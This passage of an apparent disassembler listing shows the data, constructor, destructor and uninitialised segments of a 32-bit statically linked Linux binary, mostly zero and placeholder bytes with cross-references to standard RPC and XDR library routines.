		db    8	;  
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8079220	dd 0			; DATA XREF: clnt_spcreateerror+2Dr
					; clnt_spcreateerror+42r ...
dword_8079224	dd 0			; DATA XREF: clnt_spcreateerror+60r
					; pmap_getport+A7o
dword_8079228	dd 0			; DATA XREF: clnt_spcreateerror+86r
					; clnt_spcreateerror+8Fr ...
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8079230	dd 0			; DATA XREF: sub_8063D20+138r
					; sub_8064438+172r ...
dword_8079234	dd 0			; DATA XREF: sub_8063D20+141r
					; sub_8064438+17Br ...
dword_8079238	dd 0			; DATA XREF: sub_8063D20+14Ar
					; sub_8064438+184r ...
unk_807923C	db    0	;		; DATA XREF: sub_8065120+6Fo
		db    0	;  
		db    0	;  
		db    0	;  
off_8079240	dd offset sub_806543C	; DATA XREF: xdrmem_create+12o
		dd offset sub_8065474
		dd offset sub_80654AC
		dd offset sub_80654E8
		dd offset sub_8065524
		dd offset sub_8065538
		dd offset sub_8065568
		dd offset sub_8065434
off_8079260	dd offset sub_8065848	; DATA XREF: sub_8065750+94o
		dd offset sub_80658B4
		dd offset sub_8065910
		dd offset sub_806597C
		dd offset sub_80659EC
		dd offset sub_8065A40
		dd offset sub_8065AB8
		dd offset sub_8065B0C
dword_8079280	dd 0			; DATA XREF: __sbrk+13r __sbrk+20w ...
off_8079284	dd offset unk_806BBBC	; DATA XREF: .rodata:0806AA10o
dword_8079288	dd 806A9C4h		; DATA XREF: _nl_postload_ctype+3r
off_807928C	dd offset unk_806BC14	; DATA XREF: .rodata:0806AA18o
off_8079290	dd offset unk_806BBC8	; DATA XREF: .rodata:0806AA14o
off_8079294	dd offset unk_806BC54	; DATA XREF: .rodata:0806AA0Co
off_8079298	dd offset sub_806717C	; DATA XREF: authnone_create+61o
		dd offset sub_806714C
		dd offset sub_8067184
		dd offset sub_8067190
		dd offset sub_806719C
_data		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
; Segment permissions: Read/Write
_ctors		segment	dword public 'DATA' use32
		assume cs:_ctors
		;org 80792ACh
ctors_addr	dd 0FFFFFFFFh		; DATA XREF: call_ctors+1o
					; call_ctors+6r
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
_ctors		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
; Segment permissions: Read/Write
_dtors		segment	dword public 'DATA' use32
		assume cs:_dtors
		;org 80792B4h
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
		db 0FFh	;  
dtors_address	dd 0			; DATA XREF: call_dtors+1o
					; call_dtors+6r
_dtors		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_bss		segment	dword public 'BSS' use32
		assume cs:_bss
		;org 80792BCh
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
h_addr		dd ?			; DATA XREF: gethostbyname_+1Fo
					; gethostbyname_+29r
unk_80792C0	db ? ; unexplored	; DATA XREF: sub_804A5CC+96o
					; sub_804A5CC+349o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_80793B0	dd ?			; DATA XREF: sub_804A5CC+96w
					; sub_804A5CC+DFr ...
unk_80793B4	db ? ; unexplored	; DATA XREF: sub_804C6FC+34o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
